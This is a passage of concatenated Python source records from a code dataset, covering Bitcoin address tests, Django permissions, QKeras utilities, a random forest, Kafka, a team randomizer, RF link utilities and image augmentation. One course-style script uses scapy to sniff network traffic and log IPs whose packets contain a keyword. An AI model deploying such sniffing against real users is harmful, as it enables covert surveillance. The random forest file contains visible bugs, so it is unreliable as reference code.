b'\\xf5'\n pubkey = '0250863ad64a87ae8a2fe83c1af1a8403cb53f53e486d8511dad8a04887e5b2352'\n payload += hash160(pubkey)\n invalid_address = base58.encode(payload)\n self.assertRaises(ValueError, h160_from_base58_address, invalid_address)\n #_h160_from_base58_address(invalid_address)\n\n # Invalid SEC pubkey length: 34-bytes\n self.assertRaises(ValueError, p2pkh_address, pubkey+'00')\n # p2pkh_address(pubkey+'00')\n\n\nif __name__ == \"__main__\":\n # execute only if run as a script\n unittest.main()\n","sub_path":"tests/test_address.py","file_name":"test_address.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"24302434","text":"from django.conf import settings\n\ndef init_permission(request,user):\n # #1.查当前登陆用户拥有的权限\n permission_query = user.roles.filter(permissions__url__isnull=False).values('permissions__url',\n 'permissions__title',\n 'permissions__menu_id',\n 'permissions__menu__title',\n 'permissions__menu__icon',\n ).distinct()\n\n # 存放权限信息\n # permission_list = []\n # menu_list = []\n #\n # for item in permission_query:\n # permission_list.append({'url': item['permissions__url']})\n #\n # if item.get('permissions__is_menu'):\n # menu_list.append({'url': item['permissions__url'], 'icon': item['permissions__icon'],\n # 'title': item['permissions__title']})\n\n # print(permission_list)\n # for i in permission_list:\n # print(i)\n # #2.将权限信息写入的Session\n # request.session[settings.PERMISSION_SESSION_KEY] = permission_list\n # # #3.将菜单信息写入的Session\n # request.session[settings.MENU_SESSION_KEY] = menu_list\n\n\n\n","sub_path":"myrbac/server/init_permission一级菜单.py","file_name":"init_permission一级菜单.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"80282668","text":"# Lint as: python3\n# Copyright 2019 Google LLC\n#\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"utility functions.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport copy\nimport numpy as np\nimport tensorflow.keras.backend as K\n\n\ndef is_shape_alternation_layers(layer):\n lname = layer.__class__.__name__\n if lname:\n return \"MaxPool\" in lname or \"Reshape\" in lname or \"Flatten\" in lname\n return False\n\n\ndef is_merge_layers(layer):\n\n if layer.__class__.__name__ in [\n \"Add\", \"Multiply\", \"Subtract\", \"Average\", \"Maximum\", \"Minimum\",\n \"Concatenate\", \"Dot\"]:\n return True\n else:\n return False\n\n\ndef get_input_quantizers(graph, node_id, quantizer_factory, debug=False):\n \"\"\"get the current layer's input quantizer.\"\"\"\n\n # in merge layers, therea are more than 1 input\n\n output = []\n for parent_node_id in graph.predecessors(node_id):\n\n edge = graph.edges[(parent_node_id, node_id)]\n\n if debug:\n print(\"parent_node_id:\", parent_node_id)\n print(edge)\n\n quantizer_on_edge = edge[\"quantizer\"]\n input_quantizer = quantizer_factory.make_quantizer(quantizer_on_edge)\n\n output.append((input_quantizer, edge))\n\n return output\n\n\ndef get_input_quantizers_advanced(graph, node_id, is_input_layer, quantizer_factory,\n cfg, debug=False):\n \"\"\"get input quantizer, deal with keras layer or lack of input quantizer in qkeras layer.\"\"\"\n\n # in merge layers, therea are more than 1 input\n default_source_quantizer = cfg.default_source_quantizer\n default_interm_quantizer = cfg.default_interm_quantizer\n\n output = []\n for parent_node_id in graph.predecessors(node_id):\n\n edge = graph.edges[(parent_node_id, node_id)]\n\n if debug:\n print(\"parent_node_id:\", parent_node_id)\n print(edge)\n\n quantizer_on_edge = edge[\"quantizer\"]\n input_quantizer = quantizer_factory.make_quantizer(quantizer_on_edge)\n\n if is_input_layer and not input_quantizer:\n # input layer without input_quantizer specified->use default_source_quantizer\n input_quantizer = quantizer_factory.make_default_quantizer(\n mode=default_source_quantizer)\n elif not input_quantizer:\n # if no input quantizer is available-> use default quantizer from config.json\n input_quantizer = quantizer_factory.make_default_quantizer(\n mode=default_interm_quantizer)\n\n output.append((input_quantizer, edge))\n\n return output\n\n\ndef get_operation_count(layer, input_shape):\n \"\"\"Determines number of multiplier operations in a qkeras layer.\"\"\"\n\n # Check if the inputs are a list of Dimensions\n if isinstance(input_shape, list):\n input_shape = input_shape[0]\n\n operation_count = 0\n\n if is_merge_layers(layer) or is_shape_alternation_layers(layer):\n operation_count = np.prod(input_shape[1:])\n\n elif layer.__class__.__name__ in [\n \"AveragePooling2D\", \"AvgPool2D\", \"GlobalAvgPool2D\",\n \"GlobalAveragePooling2D\"\n ]:\n\n if hasattr(layer, \"pool_size\"):\n pool_size = layer.pool_size\n else:\n pool_size = input_shape[1:-1]\n add_ops = np.prod(pool_size)\n\n output_shape = layer.compute_output_shape(input_shape)\n channels_o = output_shape[-1]\n\n # total number of add ops\n operation_count = channels_o * add_ops\n\n elif \"UpSampling\" in layer.__class__.__name__:\n # UpSampling1D/2D/3D\n output_shape = layer.compute_output_shape(input_shape)\n operation_count = np.prod(output_shape[1:])\n\n elif (\"Activation\" in layer.__class__.__name__ or\n \"BatchNormalization\" in layer.__class__.__name__):\n operation_count = np.prod(input_shape[1:])\n\n elif layer.__class__.__name__ in [\"QConv2D\", \"Conv2D\", \"QConv2DBatchnorm\"]:\n\n output_shape = layer.compute_output_shape(input_shape)\n _, _, _, channels_i = input_shape\n\n _, height_o, width_o, channels_o = output_shape\n\n weight = layer.get_weights()[0]\n\n kernel_h, kernel_w, _, _ = weight.shape\n\n operation_count = (\n height_o * width_o * channels_o * kernel_h * kernel_w * channels_i)\n\n elif layer.__class__.__name__ in [\"QConv1D\", \"Conv1D\"]:\n output_shape = layer.compute_output_shape(input_shape)\n _, _, channels_i = input_shape\n\n _, time_o, channels_o = output_shape\n\n weight = layer.get_weights()[0]\n\n kernel_length, _, _ = weight.shape\n\n operation_count = (\n time_o * channels_o * kernel_length * channels_i)\n\n elif layer.__class__.__name__ in [\"QDepthwiseConv2D\", \"DepthwiseConv2D\"]:\n output_shape = layer.compute_output_shape(input_shape)\n _, _, _, channels_i = input_shape\n\n _, height_o, width_o, channels_o = output_shape\n\n weight_1 = layer.get_weights()[0]\n\n kernel_h, kernel_w, _, _ = weight_1.shape\n\n operation_count = (\n kernel_h * kernel_w * height_o * width_o * channels_i)\n\n elif layer.__class__.__name__ in [\"QDense\", \"Dense\"]:\n output_shape = layer.compute_output_shape(input_shape)\n _, size_i = input_shape\n _, size_o = output_shape\n\n operation_count = (size_i * size_o)\n\n else:\n print(\"operation count for {} is defaulted to 0\".format(\n layer))\n\n return int(operation_count)\n\n\ndef get_weights(layer):\n weights = layer.get_weights()\n out = copy.deepcopy(weights)\n for j, weight in enumerate(weights):\n if hasattr(layer, \"get_quantizers\") and layer.get_quantizers()[j]:\n out[j] = K.eval(\n layer.get_quantizers()[j](K.constant(weight)))\n\n return out\n","sub_path":"qkeras/qtools/qtools_util.py","file_name":"qtools_util.py","file_ext":"py","file_size_in_byte":6014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"156278210","text":"'''This is a random forest classifier developed by Warren Cho'''\n\nimport numpy as np\nimport random\nfrom collections import Counter\nfrom scipy.stats import mode\n\nclass RandomForest(object):\n\n\n\tdef __init__(self, n_est=32, max_feat=np.sqrt, max_depth=10,\n\t\t\t\t min_samp_split=2, bs=0.9):\n\t\tself.n_est = n_est\n\t\tself.max_feat = max_feat\n\t\tself.max_depth = max_depth\n\t\tself.min_samp_split = min_samp_split\n\t\tself.bs = bs\n\t\tself.forest = []\n\n\t\n\tdef create(self, x, y):\n\n\t\tself.forest = []\n\t\tn_samp = len(y)\n\t\tn_sub_samp = round(n_samp * self.bs)\n\n\t\tfor i in range(self.n_est):\n\t\t\tshuffle_together(x, y)\n\t\t\tx_sub = x[:n_sub_samp]\n\t\t\ty_sub = y[:n_sub_samp]\n\n\t\t\ttree = DecisionTree(self.max_feat, self.max_depth, self.min_samp_split)\n\t\t\ttree.create(x_sub, y_sub)\n\t\t\tself.forest.append(tree)\n\n\tdef predict(self, x):\n\t\t#print('x -> ' + str(x))\n\t\tn_samp = x.shape[0]\t\t#should be 4\n\t\tn_tree = len(self.forest)\n\t\tpredict = np.zeros([n_tree, n_samp])\n\t\t#for i in range(n_tree):\n\t\t#\tprint(\"predict(x) for tree in forest: \" + str(self.forest[i].predict(x)))\n\t\t#\tprint('predict[i]: ' + str(predict[i]))\n\t\t#\tpredict[i] = self.forest[i].predict(x)\n\t\t#print('mode output: '+ str(mode(predict)))\n\t\t#return mode(predict)[0][0]\n\t\t#print('predict: ' + str(predict))\n\t\treturn predict[0][0]\n\n\tdef score(self, x, y):\n\t\ty_predict = self.predict(x)\n\t\tn_samp = len(y)\n\t\tcorrect = 0\n\t\tfor i in range(n_samp):\n\t\t\tif y_predict == y[i]: correct += 1\n\t\taccuracy = correct / n_samp\n\t\treturn accuracy\n\nclass DecisionTree(object):\n\n\tdef __init__(self, max_feat=np.sqrt, max_depth=10, min_samp_split=2):\n\t\t'''\n\t\tmax_feat is the random number of features to consider at splits\n\t\tmax_depth is the maximum depth a node can be at in a tree before\n\t\t\tbeing required to be a leaf\n\t\tmax_samp_split is the minimum number of samples needed at a node\n\t\tbefore requiring a new node split'''\n\t\tself.max_feat = max_feat\n\t\tself.max_depth = max_depth\n\t\tself.min_samp_split = min_samp_split\n\n\tdef create(self, x, y):\n\t\t'''Choose decisions for each node in tree'''\n\t\tn_feat = x.shape[1]\n\t\tn_sub_feat = int(self.max_feat(n_feat))\n\t\tprint('Number of features in subset: ' + str(n_sub_feat)) ### testing print\n\t\tfeat_i = random.sample(range(n_feat), n_sub_feat)\n\t\tprint('Indecies of features in subset: '+ str(feat_i)) ### testing print\n\t\tself.base = self.build(x, y, feat_i[0], 0)\n\n\tdef predict(self, x):\n\t\t'''Predicts the class for samples passed through parameter x'''\n\t\tn_samp = x.shape[0]\n\t\ty = np.empty(n_samp)\n\n\t\tnode = self.base\n\t\tif isinstance(node, Node):\n\t\t\tif x[0][node.feat_i] <= node.threshold: node = node.trueBranch\n\t\t\telse: node = node.falseBranch\n\t\ty = node\n\t\t#print(y)\n\n\t\t#for i in range(n_samp):\n\t\t#\tnode = self.base\n\t\t#\twhile isinstance(node, Node):\n\t\t#\t\tprint(node)\n\t\t#\t\tif x[i][node.feat_i] <= node.threshold: node = node.trueBranch\n\t\t#\t\telse: node = node.falseBranch\n\t\t#\tprint(y[i])\n\t\t#\ty[i] = node\n\t\treturn y\n\n\tdef build(self, x, y, feat_i, depth):\n\t\t'''Builds decision tree for random forest'''\n\t\tif (depth == self.max_depth) or (len(y) < self.min_samp_split) or (entropy(y) == 0):\n\t\t\treturn mode(y)[0][0]\n\t\tfeat_index, threshold = find_split(x, y, feat_i)\n\t\ttrueX, trueY, falseX, falseY = split(x, y, feat_index, threshold)\n\t\tif trueX.shape[0] == 0 or falseY.shape[0] == 0: return mode(y)[0][0]\n\t\ttrueBranch = self.build(trueX, trueY, feat_i, depth + 1)\n\t\tfalseBranch = self.build(falseX, falseY, feat_i, depth + 1)\n\t\treturn Node(feat_index, threshold, trueBranch, falseBranch)\n\nclass Node(object):\n\t'''Node object for decision tree. Carries boolean conditions'''\n\tdef __init__(self, feat_i, threshold, trueBranch, falseBranch):\n\t\tself.feat_i = feat_i\n\t\tself.threshold = threshold\n\t\tself.trueBranch = trueBranch\n\t\tself.falseBranch = falseBranch\n\ndef split(x, y, feat_i, threshold):\n\t'''Splits x and y depending on boolean conditions in local environment'''\n\ttrueX, trueY, falseX, falseY = ([] for i in range(4))\n\t\n\tfor i in range(len(y)):\n\t\tif x[i][feat_i] <= threshold:\n\t\t\ttrueX.append(x[i])\n\t\t\ttrueY.append(y[i])\n\t\telse:\n\t\t\tfalseX.append(x[i])\n\t\t\tfalseY.append(x[i])\n\ttrueX = np.array(trueX)\n\ttrueY = np.array(trueY)\n\tfalseX = np.array(falseX)\n\tfalseY = np.array(falseY) \n\treturn trueX, trueY, falseX, falseY\n\ndef find_split(x, y, feat_i):\n\t'''Determines the optimal split for a specified tree node'''\n\tnum_feat = x.shape[1]\n\toptim_gain = 0\n\toptim_feat_i = 0\n\toptim_threshold = 0\n\tfor i in range(feat_i):\n\t\tval = sorted(set(x[:, feat_i]))\n\t\tfor j in range(len(val) - 1):\n\t\t\ttemp_threshold = (val[j] + val[j + 1] / 2)\n\t\t\ttrueX, trueY, falseX, falseY = split(x, y, feat_i, temp_threshold)\n\t\t\tgain = entropy_delta(y, trueY, falseY)\n\t\t\tif gain > optim_gain:\n\t\t\t\toptim_gain = gain\n\t\t\t\toptim_feat_i = feat_i\n\t\t\t\toptim_threshold = temp_threshold\n\treturn optim_feat_i, optim_threshold\n\ndef shuffle_together(a, b):\n\t'''Shuffles two same-length lists in a manner consistent between both lists'''\n\t#assert len(a) == len(b)\n\t#p = np.random.permutation(len(a))\n\t#return a[p], b[p]\n\tstate = np.random.get_state()\n\tnp.random.shuffle(a)\n\tnp.random.set_state(state)\n\tnp.random.shuffle(b)\n\ndef entropy(y):\n\t'''Measure of uncertainty of a random sample'''\n\tdist = Counter(y.tostring())\n\ts = 0.0\n\ttotal = len(y)\n\tfor y2, num_y in dist.items():\n\t\tp_y = (num_y / total)\n\t\ts += (p_y) * np.log(p_y)\n\treturn -s\n\ndef entropy_delta(y, trueY, falseY):\n\t'''Change in entropy between two samples/splits'''\n\treturn entropy(y) - (entropy(trueY) * len(trueY) + entropy(falseY) * len(falseY)) / len(y)","sub_path":"Random_Forest_v1.py","file_name":"Random_Forest_v1.py","file_ext":"py","file_size_in_byte":5475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"608119040","text":"def modCount(n, m):\n \"\"\"\n Count the number of mod\n :param n: The interval\n :param m: m <= n\n :return: The number of mod\n \"\"\"\n # Use this inspector statement\n # print(modCount(int(input()),int(input())))\n counter = 0\n for i in range(1,n+1):\n if i % m == 0:\n counter += 1\n return counter\n","sub_path":"Lab solutions/Lab07/lab7_p3.py","file_name":"lab7_p3.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"568520593","text":"from kafka import KafkaConsumer\nfrom json import loads\nimport matplotlib.pyplot as plt\n\n# kafka consumer connect\nconsumer = KafkaConsumer(\n 'numtest',\n bootstrap_servers=['localhost:9092'],\n auto_offset_reset='earliest',\n enable_auto_commit=True,\n group_id='my_group',\n value_deserializer=lambda x: loads(x.decode('utf-8')))\n\n\nplt.rcParams['animation.html'] = 'jshtml'\nfig = plt.figure()\nax = fig.add_subplot(111)\nfig.show()\ni = 0\n\nx, y = [], []\n# receive data from kafka producer and draw real time graph\nfor message in consumer:\n message = message.value\n x.append(i)\n y.append(message['number'])\n ax.clear()\n ax.plot(x, y, color='g')\n ax.set_xlim(left=max(0, i - 10), right=i + 1)\n fig.canvas.draw()\n i += 1\n","sub_path":"setA/prog_1/prog_1_consumer.py","file_name":"prog_1_consumer.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"472869207","text":"# 문제 1번\r\nf = open('buy_list.txt','r',encoding = 'UTF8')\r\n\r\nline = f.readlines()\r\nfor line in line:\r\n print(line)\r\n\r\nf.close()\r\n\r\nf2 = open('buy_list.txt','wt',encoding=\"UTF8\")\r\nf2.write('현대\\n')\r\nf2.write('sk하이닉스\\n')\r\n\r\nf2.close()\r\n\r\nf3 = open('number.txt','w')\r\n\r\nfor i in range(1,11):\r\n f3.write(str(i))\r\n f3.write('\\n')\r\n\r\nf3.close()\r\n\r\nimport time\r\n\r\ntime.time()\r\nprint(time.ctime().split(' '))","sub_path":"6.파일 다루기/File.py","file_name":"File.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"100885121","text":"# imports python random library\nimport random\n\n# returns a random element from a list \ndef get_random_choice(pList):\n return random.choice(pList)\n\n\n# Builds an empty matrix to distribute teams\ndef build_teams_matrix(teams):\n matrix =[]\n for i in range(len(teams)):\n matrix.append([teams[i],[]])\n return matrix\n\n# Fills a team matrix with random distribution\ndef fill_teams(teams, people):\n\n\n teamMatrix = build_teams_matrix(teams)\n\n while (people != []):\n\n randomPerson = get_random_choice(people)\n\n randomTeam= get_random_choice(teamMatrix)\n\n randomTeam[1].append(randomPerson)\n # this is a reference call, so the people variable wil be emptied after the loop\n people.remove(randomPerson)\n \n return teamMatrix\n\n# Checks if there's enough people to fill at least 2 per team\n\ndef validate_amounts(teams, people):\n team_size = len(teams)\n people_size = len(people)\n\n return team_size >=2 and people_size >= team_size*2\n\n# Checks if every team on the matrix has at least 2 people\ndef validate_matrix(matrix):\n for team in matrix:\n team_size = len(team[1])\n if team_size<2:\n return False\n return True\n\n# Flattens all the distributed people in one array\n# This function was made to avoid the elimination by reference in the people array\ndef flatten_people(matrix):\n \n flattened_people=[]\n\n for people in matrix:\n for subpeople in people[1]:\n flattened_people.append(subpeople)\n return flattened_people\n\n# Main function that returns a valid team matrix (valid == at least 2 people per team)\ndef team_build_control(teams, people):\n matrix1=fill_teams(teams,people)\n\n is_valid= validate_matrix(matrix1)\n # if the matrix is not valid, the people is merged in one array, then the matrix will be rebuilt until it produces a valid one\n while(not is_valid):\n people= flatten_people(matrix1)\n matrix1= fill_teams(teams,people)\n is_valid= validate_matrix(matrix1)\n return matrix1\n\n# Function that prints the teams matrix to the console\ndef print_Result(teams, people):\n random_teams = team_build_control(teams,people)\n for team in random_teams:\n line=team[0] + \": \"\n for person in team[1]:\n line+= person+\", \"\n # prints without the last 2 characters to remove the last colon and space\n print(line[:-2])\n \ndef no_menu_run(teams, people):\n if type(teams) is not list and type(people) is not list:\n print( \"Teams and people parameters should be a list\")\n return None\n for team in teams:\n if type(team) is not str:\n print( \"Teams list should contain only strings\")\n return None\n\n for person in people:\n if type(person) is not str:\n print( \"People list should contain only strings\")\n return None\n if not validate_amounts(teams,people):\n print( \"There should be at least 2 teams and 2 people per team\")\n return None\n print_Result(teams, people)\n\n\n \n \n\n\n\n\n\n# If you want to test only the functions without the menu, uncomment the next lines and execute just this file.\n\n#no_menu_run(['t1','t2','t3'],['p1','p2','p3','p4','p5','p6','p7'])\n#no_menu_run(['t1','tx','ty'],['p1','p2','p3','p4','p5','p6','p7','p8','p9', 'p10'])\n\n\n","sub_path":"randomTeamAssign.py","file_name":"randomTeamAssign.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"74857808","text":"from path import Path\nimport pytest\nfrom typing import Any\nimport argparse\n\nfrom tsrc.test.helpers.cli import CLI\nfrom tsrc.test.helpers.git_server import GitServer\n\n\n@pytest.fixture\ndef push_args() -> argparse.Namespace:\n args = argparse.Namespace()\n args.accept = False\n args.assignee = None\n args.close = False\n args.force = False\n args.merge = False\n args.title = None\n args.push_spec = None\n args.ready = False\n args.reviewers = None\n args.target_branch = None\n args.title = None\n args.wip = False\n return args\n\n\n@pytest.fixture\ndef repo_path(\n monkeypatch: Any, git_server: GitServer, tsrc_cli: CLI, workspace_path: Path\n) -> Path:\n \"\"\" Path to a freshly cloned repository \"\"\"\n git_server.add_repo(\"owner/project\")\n manifest_url = git_server.manifest_url\n tsrc_cli.run(\"init\", manifest_url)\n repo_path = workspace_path / \"owner/project\"\n monkeypatch.chdir(repo_path)\n return repo_path\n","sub_path":"tsrc/test/helpers/push.py","file_name":"push.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"444128282","text":"from scapy.all import *\n\n\nunpersons = set()\n\n\ndef spy(packet):\n\tif packet.haslayer(TCP) and Raw in packet and 'love' in str(packet[Raw]):\n\t\tprint('added ' + packet[IP].src + ' to unpersons for inspection')\n\t\tunpersons.add(packet[IP].src)\n\ndef main():\n sniff(prn=spy)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"9_network2/q2/a/bigbrother.py","file_name":"bigbrother.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"13706385","text":"#!/usr/bin/python\n\nfrom enum import Enum\nimport math\nimport numpy as np\n\n\ndef sequential_enum(*sequential, **named):\n \"\"\"Returns a new enum with all given named and sequential nodes.\n\n sequential -- [str, str, ...]\n named -- str:int\n \"\"\"\n enums = dict(zip(sequential, range(len(sequential))), **named)\n return type('Enum', (), enums)\n\n\ndef node_associations(enum):\n \"\"\"Returns dicts associating nodes -> names and vice versa from an enum.\n\n Given an enum, returns the dict of names to numbers and numbers to\n names.\n \"\"\"\n node_to_name = {}\n name_to_node = {}\n for key, value, in enum.__dict__.iteritems():\n if not key.startswith('_'):\n node_to_name[value] = key\n name_to_node[key] = value\n return (node_to_name, name_to_node)\n\n\ndef to_db(v):\n \"\"\"linear to dB\n \"\"\"\n return math.log(float(v), 10) * 10\n\n\ndef from_db(v):\n \"\"\"dB to linear\n \"\"\"\n return 10**(float(v)/10.0)\n\n\ndef human_hz(v):\n \"\"\"Returns a number of Hz autoselected for Hz, kHz, MHz, and GHz\n \"\"\"\n if v < 1e3:\n return (v, 'Hz')\n if v < 1e6:\n return (v/1.0e3, 'kHz')\n if v < 1e9:\n return (v/1.0e6, 'MHz')\n return (v/1.0e9, 'GHz')\n\n\ndef human_m(v):\n \"\"\"Returns a distance autoselected for mm, cm, m, and km\n \"\"\"\n if v < 1e-2:\n return (v*1.0e3, 'mm')\n if v < 1:\n return (v*1.0e2, 'cm')\n if v < 1000:\n return (v, 'm')\n return (v/1.0e3, 'km')\n\n\ndef spreading_loss_db(dist_km):\n \"\"\"Returns the loss, in dB, associated with distance alone.\n \"\"\"\n return to_db(4 * math.pi * (dist_km * 1000)**2)\n\n\ndef pattern_generator(peak_gain_dbi, null=-20.0, eff=0.7):\n \"\"\"Generates a sample antenna pattern.\n\n The pattern will be a main lobe, and the rest will be the \n value.\n\n FIXME: See if a reasonable pattern, including side-lobes, can be\n generated easily\n\n peak_gain_dbi -- float\n null -- float, value outside of the main lobe\n eff -- float, antenna efficiency value\n \"\"\"\n gain = peak_gain_dbi # just want it called peak_gain_dbi in docs\n\n # http://www.phys.hawaii.edu/~anita/new/papers/militaryHandbook/antennas.pdf\n X = 75146.0 * (eff-.7) + 41253.0\n bw_3db = (X / gain)**.5\n bw_null = bw_3db*1.5\n\n # determine step size\n min_n_steps = 25\n step = min(bw_null / min_n_steps, 1.0)\n n = 4.0 * int((360.0 / step) / 4.0) # ensure it is an even multiple of 4\n n_q = int(n / 4)\n\n def __sigmoid_gen(a=1.0, b=1.0, t=0.0):\n def retval(x):\n return to_db(a / (1.0 + math.exp(-1.0 * b * (x-t)))) + gain\n return retval\n\n # find the intercept with the null\n sig_upper = 4.0\n sig_lower = -6.0\n a = 1.0\n b = 1.0\n t = (math.log((a/(from_db(null-gain))) - 1) / b) + sig_lower\n\n sigmoid = np.vectorize(__sigmoid_gen(a=a, b=b, t=t), otypes=[np.float])\n\n # set things up\n n_half = int(bw_null / step / 2.0)\n sig_step = (sig_upper - sig_lower) / n_half\n main_g_r = np.arange(sig_lower, sig_upper, sig_step)# main lobe, gain, right\n main_a_r = np.arange(0, bw_null, n_half) # main lobe, angles, right\n main_g_r = sigmoid(main_g_r)\n delta = np.arange(0.0, n_half)\n delta *= (gain - main_g_r[-1]) / n_half\n main_g_r += delta\n\n # combine the left and right sides of the lobe\n main_g_l = list(main_g_r[:])\n main_g_l.reverse()\n main = list(main_g_r) + [gain] + main_g_l\n\n # combine the main lobe with null for the rest of the pattern\n retval = main + [null]*int(n-len(main))\n\n # rotate the pattern\n retval = retval[n_half-n_q:] + retval[:n_half-n_q]\n\n return retval\n","sub_path":"pylink/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"392497786","text":"#!/usr/bin/python3\r\n# -*- coding: UTF8 -*-\r\n\r\nimport sys\r\nimport cv2 #TEMP\r\nfrom csv_handler import CsvHandler\r\nfrom image_convertor import ImageConvertor\r\nfrom elipse_draw import ElipseDraw\r\n\r\nclass Main:\r\n\r\n \"\"\"\r\n Is responsible for launching everything (it's a main...)\r\n \"\"\"\r\n\r\n def __init__(self):\r\n \"\"\"\r\n args[1..n-1] == tiff\r\n args[last] == csv\r\n \"\"\"\r\n\r\n # Arg check (it's pathetic)\r\n if len(sys.argv) == 1:\r\n print(\"Wrong args, try again lul\")\r\n exit(1)\r\n\r\n self.args = sys.argv\r\n self.csv_file = self.args[len(sys.argv)-1]\r\n # self.tester()\r\n\r\n # CSV SETUP\r\n csv = CsvHandler(self.csv_file)\r\n csv.create_heading()\r\n\r\n # ELIPSEDRAW SETUP\r\n ed = ElipseDraw()\r\n\r\n # Loop goes through all the file arguments, this is where\r\n # the magic happens.\r\n for i in range(1, len(sys.argv)-1):\r\n \r\n # File names\r\n img_name = self.args[i]\r\n # img_name_work = img_name[:-5] + \"_WORK.tiff\"\r\n # img_name_res = img_name[:-5] + \"_RES.tiff\"\r\n\r\n # File modifications so we can work with it\r\n workable_img = ImageConvertor().convert_image(img_name)\r\n cv2.imwrite(img_name, workable_img) # Outputing workable image, optional\r\n\r\n final_img = ed.draw_elipse(img_name)\r\n\r\n # cv2.imwrite(img_name, final_img) # Outputing workable image, optional\r\n\r\n final_img = [img_name] + final_img # Pridani jmena souboru\r\n\r\n while len(final_img) != 7:\r\n final_img.append('')\r\n \r\n csv.append_row(final_img)\r\n\r\nif __name__ == \"__main__\":\r\n Main()\r\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"589998988","text":"# -*- coding: utf-8 -*-\n\n#####\n# Frederic Branchaud-Charron (13 046 651)\n###\n\nfrom pdb import set_trace as dbg # Utiliser dbg() pour faire un break dans votre code.\n\nimport numpy as np\n\n\n#\n# AEtoileTuple : Classe représentant un tuple de TaquinEtat, score f et d'un parent AEtoileTuple.\n#\nclass AEtoileTuple:\n\n def __init__(self, etat, f, parent=None):\n self.etat = etat\n self.f = f\n self.parent = parent\n\n # Fonction de comparaison entre deux AEtoileTuple (i.e. <, >, <=, >= ).\n def __cmp__(self, autre):\n return cmp(self.f, autre.f)\n\n # Fonction d'équivalence entre deux AEtoileTuple (i.e. == ).\n def __eq__(self, autre):\n return self.etat == autre.etat\n\n\n#\n#TaquinEtat tableau,hauteur,largeur\n#\n# joueur_taquin : Fonction qui calcule le chemin, suite d'états, optimal afin de complété\n# le puzzle.\n#\n# etat_depart: Objet de la classe TaquinEtat indiquant l'état initial du jeu.\n#\n# fct_estEtatFinal: Fonction qui prend en entrée un objet de la classe TaquinEtat et\n# qui vérifie si l'état passée en paramêtre est l'état final ou non.\n#\n# fct_transitions: Fonction qui prend en entrée un objet de la classe TaquinEtat et\n# qui retourne la listes des états voisins pour l'état donné.\n#\n# fct_heuristique: Fonction qui prend en entrée un objet de la classe TaquinEtat et\n# qui retourne le coût heuristique pour se rendre à l'état final.\n#\n# retour: Cette fonction retourne la liste des états de la solution triés en ordre chronologique\n# c'est-à-dire de l'état initial jusqu'à l'état final inclusivement.\n#\ndef joueur_taquin(etat_depart, fct_estEtatFinal, fct_transitions, fct_heuristique):\n openList = []\n closeList = []\n openList.append(AEtoileTuple(etat_depart,fct_heuristique(etat_depart)))\n while True:\n if len(openList) == 0:\n break;\n openList.sort()\n node = openList.pop(0)\n closeList.append(node)\n if fct_estEtatFinal(node.etat):\n return find_parent(etat_depart,node)\n \n for trans in fct_transitions(node.etat) :\n transition = AEtoileTuple(trans,node.f - fct_heuristique(node.etat) + fct_heuristique(trans) + 1,node)\n if transition in closeList :\n if transition <= closeList[closeList.index(transition)] :\n closeList.remove(transition)\n openList.append(transition)\n \n elif transition in openList:\n if transition <= openList[openList.index(transition)] :\n openList.remove(transition)\n openList.append(transition)\n else:\n openList.append(transition)\n \n\n # Retourne une liste vide d'états (Pas de chemin)\n return []\n\n\ndef find_parent(etat_depart,node):\n resultat = []\n nodeCopy = node\n while nodeCopy.etat != etat_depart :\n resultat.insert(0,nodeCopy.etat)\n nodeCopy = nodeCopy.parent\n resultat.insert(0,etat_depart)\n return resultat\n","sub_path":"devoir_1/solution_taquin.py","file_name":"solution_taquin.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"646153997","text":"import imgaug.augmenters as iaa\nimport cv2\nimport numpy as np\nclass ImageArg:\n def __init__(self):\n self.seq = iaa.Sequential([\n iaa.Affine(\n scale={\"x\": (0.8, 1.2), \"y\": (0.8, 1.2)},\n translate_percent={\"x\": (-0.2, 0.2), \"y\": (-0.2, 0.2)},\n rotate=(-25, 25),\n shear=(-8, 8),\n order = [0, 1], #interpolation\n cval = 255\n ),\n iaa.Fliplr(0.5)\n ])\n\n # img_buffer의 값 c, l, h, w 순으로 나온다고 가정\n def ImageArgument(self, img_buffer):\n seq_det = self.seq._to_deterministic()\n buffer = img_buffer.transpose((1, 2, 3, 0)) # 